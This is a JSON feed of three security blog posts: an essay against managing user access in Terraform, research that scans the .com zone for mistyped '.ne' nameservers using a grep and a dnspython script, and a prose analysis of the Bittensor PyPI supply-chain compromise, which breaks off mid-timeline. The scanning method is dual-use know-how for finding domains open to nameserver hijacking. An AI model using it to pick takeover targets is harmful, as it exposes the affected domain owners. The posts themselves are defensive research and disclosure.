{
    "version": "https://jsonfeed.org/version/1.1",
    "title": "Security  dade",
    "description": "  Security  dade",
    "home_page_url": "https://0xda.de/",
    "feed_url": "https://0xda.de/tags/security/index.json",
    "language": "en",
    "authors": [
        {
            "name": "0xdade",
            "url": "https://0xda.de",
            "avatar": "https://0xda.de/img/dade-transparent-logo.png"
        }
    ],
    "items": [
        {
            "title": "Joiners, Movers, Leavers - An IaC Problem",
            "date_published": "2026-02-21T12:00:00-08:00",
            "date_modified": "2026-02-21T17:00:25-08:00",
            "id": "https://0xda.de/blog/2026/02/joiners-movers-leavers-an-iac-problem/",
            "url": "https://0xda.de/blog/2026/02/joiners-movers-leavers-an-iac-problem/",
            "content_html": "\u003cp\u003eI\u0026rsquo;m a huge proponent of infrastructure as code. What I mean when I say this is mostly Terraform \u0026ndash; and for an important reason (and when I say Terraform, I mostly mean OpenTofu, for another important reason). One of the things that I most value about infrastructure as code is its declarative nature. You define what you want, maybe you define the order that resources depend on each other to help Terraform apply things in the correct order, and then you get what you asked for. No defining a series of bash commands wrapped in yaml to execute to achieve the outcome you want. Just say what you want, and get it (unless it\u0026rsquo;s the AWS WAF Terraform provider, in which case just give up).\u003c/p\u003e\n\u003cp\u003eWhile I obviously appreciate terraform to manage things like cloud infrastructure, I think its value also goes far beyond that. I think an organization can get a great deal of value adopting IaC practices for things like managing GitHub \u003ca href=\"https://registry.terraform.io/providers/integrations/github/latest/docs/resources/enterprise_organization\"\u003eorganizations\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/integrations/github/latest/docs/resources/repository\"\u003erepos\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/integrations/github/latest/docs/resources/team\"\u003eteams\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/integrations/github/latest/docs/resources/branch_protection\"\u003ebranch protection rules\u003c/a\u003e, etc. Or for managing Okta \u003ca href=\"https://registry.terraform.io/providers/okta/okta/latest/docs/resources/group\"\u003egroups\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/okta/okta/latest/docs/resources/app_saml\"\u003eapps\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/okta/okta/latest/docs/resources/group_rule\"\u003egroup rules\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/okta/okta/latest/docs/resources/authenticator\"\u003eauthenticators\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/okta/okta/latest/docs/resources/network_zone\"\u003enetwork zones\u003c/a\u003e, etc. Or for managing Cloudflare zero trust \u003ca href=\"https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs/resources/zero_trust_list\"\u003elists\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs/resources/zero_trust_device_posture_integration\"\u003edevice posture integrations\u003c/a\u003e, \u003ca href=\"https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs/resources/zero_trust_device_posture_rule\"\u003edevice posture rules\u003c/a\u003e, etc.\u003c/p\u003e\n\u003cp\u003eBut I left out many notable resources in these examples. I didn\u0026rsquo;t mention assigning people to GitHub teams. I didn\u0026rsquo;t mention assigning people to Okta apps or groups. In fact, I mostly avoid assigning people to anything in my terraform. This is due to the fundamental nature of a person\u0026rsquo;s relationship with an organization, and how I find that to be at odds with Infra-as-Code paradigms.\u003c/p\u003e\n\u003cp\u003eWould it be awesome to be able to just point to the spot in the repo where all the users who have access to any given application or repository are? Absolutely. Would it be awesome to get automatic drift detection and correction so that if someone is inappropriately assigned to an application without going through the proper channels, the problem automatically gets corrected? You betcha. Would it be great if a user is offboarded and we leave a bunch of code lying around referencing their user? Wait\u0026hellip;\u003c/p\u003e\n\u003cp\u003eTherein lies my biggest problem with managing users in Terraform. A user\u0026rsquo;s lifecycle is fundamentally unlike any of the other resources that I mentioned. A user\u0026rsquo;s lifecycle is broken up into 3 major events: joining, moving, and leaving. A user joins the company and needs to be given access to things relevant to their role. A user gets promoted or maybe changes teams, and they need to have access revoked to old things, and new access given for their new role. A user wins the lottery and leaves the organization, their access needs to be revoked. These are core lifecycle events that enterprise identity tools have started to understand and work into their capabilities.\u003c/p\u003e\n\u003cp\u003eWhile we could absolutely manage all of this in Terraform, it creates manual operations whenever these lifecycle events happen. I\u0026rsquo;m sure with extremely careful construction of your terraform, you could minimize the amount of work needed, but it would still be manual work. I can already envision the schemes we could concoct with groups that are assigned to apps (which I do use Terraform for) and a bunch of group rules that create all sorts of automated group assignment behaviors for users (oh but those assignments aren\u0026rsquo;t in Terraform, so your source of truth is still wrong, lol).\u003c/p\u003e\n\u003cp\u003eWe want automation to handle core user lifecycle events. Ideally this automation is rooted in the HRIS system, such that IT doesn\u0026rsquo;t have to lift a finger when a user is offboarded. The user is offboarded in the HRIS system and the IDP automatically disables their account. When the IDP disables their account, SCIM integrations reach out to core services and disable their accounts there. For cases where SCIM is not available, we shame our vendors who have the audacity to charge us $100k a year for \u0026ldquo;enterprise\u0026rdquo; software but who have not yet figured out that important little detail that users sometimes leave companies.\u003c/p\u003e\n\u003cp\u003eAnother area that is gaining traction, and which terraform gets in the way of, is just-in-time access provisioning / escalation. I find it weird to say this, because I\u0026rsquo;m pretty sure Intel had a 10-year-old version of this when I started working there over a decade ago, but many players in the market are now building out solutions to allow users to request time-bound access (or escalated access) to resources, and allow those resource owners to approve the requests without the need for intervention by IT. This JIT access is fantastic because it allows users to maintain the least amount of necessary privilege as their default experience, and then escalate only when needed, and with peer review.\u003c/p\u003e\n\u003cp\u003eAgain, we could absolutely achieve this with Terraform. First we teach John from accounts payable how to create an SSH key, install git, clone a repo, make a change, don\u0026rsquo;t forget the pre-commit hooks, John, commit the change, push the change, deal with the merge conflict, quit his job, buy a farm, breathe a deep sigh of relief as he realizes he can finally live the rest of his life in peace. All so he could access the billing information for our AWS account. Oh hey, John, when you\u0026rsquo;re done with your access, don\u0026rsquo;t forget to make the revert commit, that way you don\u0026rsquo;t retain the high level of access. A revert commit is like hitting the undo button except for nerds. Well, you see, Git is like a tree that contains a series of patches. No not like a nicotine patch, like a\u0026hellip; you know what, John, I\u0026rsquo;ll take care of it.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;But dade, we could automate that with CI and a custom pull request syntax that specifies how long to keep the change for\u0026rdquo; \u0026ndash; you, an absolute fool, a mad lad, an emperor among nerds, probably.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m not saying that these things \u003cem\u003ecan\u0026rsquo;t\u003c/em\u003e be solved with Terraform, just that they probably shouldn\u0026rsquo;t be. I think that user access to resources is probably the one place where we should just leave Terraform out of it.\u003c/p\u003e\n"
        },
        {
            "title": "Invalid Niger Nameservers in the com zone",
            "date_published": "2025-01-22T17:00:22-08:00",
            "date_modified": "2026-02-21T16:56:17-08:00",
            "id": "https://0xda.de/blog/2025/01/invalid-niger-nameservers-in-the-com-zone/",
            "url": "https://0xda.de/blog/2025/01/invalid-niger-nameservers-in-the-com-zone/",
            "content_html": "\u003cp\u003eA recent post by Krebs On Security about a \u003ca href=\"https://krebsonsecurity.com/2025/01/mastercard-dns-error-went-unnoticed-for-years/\"\u003emastercard mistake in their nameservers\u003c/a\u003e got me thinking. I recently got access to the \u003ccode\u003e.com\u003c/code\u003e zone file, I could just\u0026hellip; grep for this common type of mistake.\u003c/p\u003e\n\u003cp\u003eTowards the bottom of the article, he mentions that there is an \u003ccode\u003eawsdns-06.ne\u003c/code\u003e registered some time ago that fits a similar bill. This sparked a particular interest, because I happen to know that AWS uses an absolute ton of domains for their dns infrastructure, each would have to be registered individually in order to mitigate this issue.\u003c/p\u003e\n\u003cp\u003eI downloaded the \u003ccode\u003e.com\u003c/code\u003e zone file and ran a quick grep to look for \u003cem\u003especifically\u003c/em\u003e this type of issue. E.g. domains that have a \u003ccode\u003e.ne\u003c/code\u003e nameserver. The same exact issue could reasonably apply to \u003ccode\u003e.co\u003c/code\u003e instead of \u003ccode\u003e.com\u003c/code\u003e, but there is no \u003ccode\u003e.or\u003c/code\u003e to make the mistake with \u003ccode\u003e.org\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003erg -e \u003cspan style=\"color:#a6d189\"\u003e\u0026#34;\\.ne\\.\u003c/span\u003e$\u003cspan style=\"color:#a6d189\"\u003e\u0026#34;\u003c/span\u003e 2025-01-22-com.zone | tee 2025-01-22-niger_nameserver_results\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAfter this finished processing the 22GB zone data for \u003ccode\u003e.com\u003c/code\u003e, I was left with 1820 potential sites of interest.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e➜ wc -l 2025-01-22-niger_nameserver_results\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76\"\u003e1820\u003c/span\u003e 2025-01-22-niger_nameserver_results\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFrom here, it\u0026rsquo;s time to attempt an A record lookup on every nameserver in the list. My thought here is that if it\u0026rsquo;s an intentional, valid nameserver in the \u003ccode\u003e.ne\u003c/code\u003e domain, it will return an answer for an A record \u0026ndash; if it doesn\u0026rsquo;t return an A record, chances are pretty high that this is a misconfiguration. A quick look at \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc2181#section-10.3\"\u003eRFC 2181\u003c/a\u003e confirms my guess that NS records should not be CNAMEs, so this check should be \u003cem\u003epretty\u003c/em\u003e valid (the whole IPv6 of it aside).\u003c/p\u003e\n\u003cp\u003eI wrote a simple python script using \u003ccode\u003ednspython\u003c/code\u003e to iterate through the list of records in the zone, extracted the impacted domain as well as the nameserver address that matched our previous grep, and then attempted to resolve an A record. If it resolved, great, do nothing. If it didn\u0026rsquo;t resolve, add it to a dictionary and add the record that references it to the list of records pointing to that nameserver. The code looks roughly like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#81c8be\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003ecollections\u003c/span\u003e \u003cspan style=\"color:#81c8be\"\u003eimport\u003c/span\u003e defaultdict\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#81c8be\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003edns.resolver\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#81c8be\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003esys\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ca9ee6\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#8caaee\"\u003eextract_domain\u003c/span\u003e(line):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6d189\"\u003e\u0026#34;\u0026#34;\u0026#34;Extract the first value (domain) and last value (nameserver domain) from the given line.\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    parts \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e=\u003c/span\u003e line\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003estrip()\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003esplit()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ca9ee6\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#99d1db\"\u003elen\u003c/span\u003e(parts) \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003e5\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ca9ee6\"\u003ereturn\u003c/span\u003e parts[\u003cspan style=\"color:#ef9f76\"\u003e0\u003c/span\u003e], parts[\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ef9f76\"\u003e1\u003c/span\u003e]\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003erstrip(\u003cspan style=\"color:#a6d189\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ca9ee6\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003eNone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ca9ee6\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#8caaee\"\u003eprocess_file\u003c/span\u003e(file_path):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    failed_domains \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e=\u003c/span\u003e defaultdict(\u003cspan style=\"color:#99d1db\"\u003elist\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    resolver \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e=\u003c/span\u003e dns\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eresolver\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eResolver()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    resolver\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003enameservers \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#a6d189\"\u003e\u0026#34;8.8.8.8\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ca9ee6\"\u003ewith\u003c/span\u003e \u003cspan style=\"color:#99d1db\"\u003eopen\u003c/span\u003e(file_path, \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#ca9ee6\"\u003eas\u003c/span\u003e file:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ca9ee6\"\u003efor\u003c/span\u003e line \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003ein\u003c/span\u003e file:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            impacted_domain, domain \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e=\u003c/span\u003e extract_domain(line)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#ca9ee6\"\u003eif\u003c/span\u003e domain:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#ca9ee6\"\u003eif\u003c/span\u003e domain \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003ein\u003c/span\u003e failed_domains:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    failed_domains[domain]\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eappend(impacted_domain)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#ca9ee6\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#ca9ee6\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        resolver\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eresolve(domain, \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#ca9ee6\"\u003eexcept\u003c/span\u003e (dns\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eresolver\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eNoAnswer, dns\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eresolver\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eNXDOMAIN, dns\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eexception\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eDNSException) \u003cspan style=\"color:#ca9ee6\"\u003eas\u003c/span\u003e e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        failed_domains[domain]\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eappend(impacted_domain)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ca9ee6\"\u003efor\u003c/span\u003e k,v \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003ein\u003c/span\u003e failed_domains\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eitems():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#99d1db\"\u003eprint\u003c/span\u003e(\u003cspan style=\"color:#e78284\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#a6d189\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#a6d189\"\u003e{\u003c/span\u003ek\u003cspan style=\"color:#a6d189\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#a6d189\"\u003e,\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;,\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003ejoin(v))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ca9ee6\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f2d5cf\"\u003e__name__\u003c/span\u003e \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#a6d189\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ca9ee6\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#99d1db\"\u003elen\u003c/span\u003e(sys\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eargv) \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003e2\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#99d1db\"\u003eprint\u003c/span\u003e(\u003cspan style=\"color:#a6d189\"\u003e\u0026#34;Usage: python main.py \u0026lt;input_file\u0026gt;\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        sys\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eexit(\u003cspan style=\"color:#ef9f76\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    input_file \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e=\u003c/span\u003e sys\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003eargv[\u003cspan style=\"color:#ef9f76\"\u003e1\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    process_file(input_file)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eI then redirected the output of this to a file and found \u003cstrong\u003e858 unique invalid \u003ccode\u003e.ne\u003c/code\u003e nameservers\u003c/strong\u003e being referenced (as of the time of writing, 2025-01-22) in the \u003ccode\u003e.com\u003c/code\u003e zone. Of these, awsdns based nameservers accounted for \u003cstrong\u003e285 unique invalid nameserver records\u003c/strong\u003e, with \u003cstrong\u003e64 unique apex domains\u003c/strong\u003e referenced. Based on a quick search on Gandi, that\u0026rsquo;ll only be somewhere in the range of $38,400 worth of Niger domains for AWS to squat if they want to protect their users against this.\u003c/p\u003e\n\u003ch2 id=\"fallout\"\u003eFallout\u003c/h2\u003e\n\u003cp\u003eGoing through the list of unique domains, there are a wide variety of types of domains impacted. Law firms and doctor\u0026rsquo;s offices, mail services, farms, motorcycle repair shops, home remodeling services, flower shops, and the list goes on. But perhaps most entertainingly, a surprising number of small tech companies and cybersecurity services. Not big ones, mind you, but there\u0026rsquo;s just something funny about a company positioning itself as a security service and having invalid nameservers configured.\u003c/p\u003e\n\u003cp\u003eI will not be making the list of invalid nameservers or the list of impacted domains available at this time. The sheer number of results is high enough that I can\u0026rsquo;t really know whats in here or what the impact could be to users of these services.\u003c/p\u003e\n\u003ch2 id=\"how-do-we-prevent-this\"\u003eHow do we prevent this?\u003c/h2\u003e\n\u003cp\u003eBased solely on the number of impacted domains, 1820 impacted domains out of some 150 million + domains (and 404564680 invidual NS records) in the \u003ccode\u003e.com\u003c/code\u003e zone is not a huge deal. But on the flip side, I can\u0026rsquo;t really think of a reason why any registrar would ever let their users configure nameservers that don\u0026rsquo;t exist. I feel like registrars could almost completely fix this problem if they wanted to.\u003c/p\u003e\n\u003cp\u003eOf course, there are tons of registrars and they would each have to fix it to prevent their customers from making mistakes. On the other hand, since the nameservers for a domain have to be registered with the TLD operator anyways, the TLD operators could fix this. There are only \u003ca href=\"https://data.iana.org/TLD/tlds-alpha-by-domain.txt\"\u003e1445 TLDs\u003c/a\u003e at the time of writing, according to IANA. And a bunch of TLDs are all operated by the same entities, so probably a considerably smaller number of entities that would actually need to make the changes.\u003c/p\u003e\n\u003cp\u003eBut it does present some interesting logistical challenges. I could put a valid DNS name in for my nameserver and it could be valid for days or weeks or years, then become invalidated at some point in the future. What would I expect to happen then, if registrars or TLD operators \u003cem\u003edid\u003c/em\u003e choose to do something to mitigate this issue? Would they let me know and have me remove it? Would they remove it for me automatically? I don\u0026rsquo;t really know.\u003c/p\u003e\n\u003cp\u003eUltimately, I think there \u003cem\u003eare\u003c/em\u003e things that could be done to reduce the risk of these misconfigured nameservers. But on the flip side, there are an infinite number of ways to mess up your nameservers, and this is just one. Is it worth the effort? I don\u0026rsquo;t know that either. But I do know that if we continue to just rely on every domain administrator to keep getting it right, every once in a while one of them will get it wrong. So I\u0026rsquo;m just trying to think of technical controls we could implement to mitigate that.\u003c/p\u003e\n\u003ch2 id=\"outro\"\u003eOutro\u003c/h2\u003e\n\u003cp\u003eIt\u0026rsquo;s very cool that Philippe Caturegli found this happening on a mastercard domain. That\u0026rsquo;s a big find in terms of impact. But unfortunately it\u0026rsquo;s also just a drop in the bucket when it comes to these sorts of invalid DNS configurations.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m working on tooling to help enable and enrich this sort of research through my company, \u003ca href=\"https://room641a.com\"\u003eRoom 641A\u003c/a\u003e.\u003c/p\u003e\n"
        },
        {
            "title": "Bittensor Security Incident - An Independent Analysis",
            "date_published": "2024-07-03T19:31:48-07:00",
            "date_modified": "2024-07-03T20:44:14-07:00",
            "id": "https://0xda.de/blog/2024/07/bittensor-security-incident-an-independent-analysis/",
            "url": "https://0xda.de/blog/2024/07/bittensor-security-incident-an-independent-analysis/",
            "content_html": "\u003cp\u003eI had no plans to publish this. In fact, I had no plans to investigate it. In fact, I\u0026rsquo;d have preferred to not even know about it. But I \u003ca href=\"https://twitter.com/h0wlu/status/1808634745217028581\"\u003esaw a tweet\u003c/a\u003e, thought someone was wrong on the internet, and well, you know what happens.\u003c/p\u003e\n\u003cp\u003eNote: This is a purely independent investigation of what happened. I have no relationship with anyone involved in the Opentensor Foundation, nor any relationship with anyone involved in the bittensor project, nor any inside information about the incident. I just got nerd sniped by a tweet and this investigation fell out.\u003c/p\u003e\n\u003ch2 id=\"tldr\"\u003eTL;DR\u003c/h2\u003e\n\u003cp\u003eAn attacker published a modified version of bittensor 6.12.2 to PyPI which contained a malicious validate function designed to send wallet keys to an attacker controlled server. Due to the nature of the attack, this was likely due to a compromised PyPI API key \u0026ndash; potentially through a compromised developer.\u003c/p\u003e\n\u003cp\u003eThe Opentensor Foundation published a blog post earlier today (2024-07-03) about a \u003ca href=\"https://blog.bittensor.com/bittnesor-community-update-july-3-2024-45661b1d542d\"\u003esecurity incident\u003c/a\u003e they had discovered.\u003c/p\u003e\n\u003cp\u003eThe blog post does try to provide helpful, useful information. But it also is a little bit vague about what happened. In particular, their \u0026ldquo;\u003ca href=\"https://blog.bittensor.com/bittnesor-community-update-july-3-2024-45661b1d542d#e35c\"\u003eRoot cause of attack\u003c/a\u003e\u0026rdquo; says the following:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe attack was traced back to the PyPi Package Manager version 6.12.2, where a malicious package was uploaded, compromising user security.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe malicious package, masquerading as a legitimate Bittensor package, contained code designed to steal unencrypted coldkey details.\u003c/li\u003e\n\u003cli\u003eWhen users downloaded this package and decrypted their coldkeys, the decrypted bytecode was sent to a remote server controlled by the attacker.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThis indicates that the issue was found to be in their PyPI release \u003ca href=\"https://pypi.org/project/bittensor/6.12.2/#files\"\u003e6.12.2\u003c/a\u003e. But the subsequent language can be a little misleading:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe malicious package, masquerading as a legitimate Bittensor package\u0026hellip;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThis makes it sound like it could be a package squatting type attack, where the attacker was pretending to be a legitimate Bittensor package. But that\u0026rsquo;s not the case \u0026ndash; as far as PyPI was concerned, it \u003cem\u003ewas\u003c/em\u003e a legitimate Bittensor package \u0026ndash; it was uploaded to the Bittensor project, presumbly by an API key authorized to do so.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003c/h2\u003e\n\u003cp\u003eThe malicious version of the package was available between 2024-05-22T19:14:09Z and 2024-07-02 (time unknown), or approximately 41 days.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e2024-05-22T19:14:09Z - \u003ca href=\"https://pypi.org/project/bittensor/6.12.2/\"\u003ePublish to PyPI\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e2024-05-22T21:25:09Z - \u003ca href=\"https://github.com/opentensor/bittensor/releases/tag/v6.12.2\"\u003e6.12.2 release was published to Github\u003c/a\u003e by \u003ca href=\"https://github.com/gus-opentensor\"\u003egus-opentensor\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e2024-05-22T21:25:00Z - \u003ca 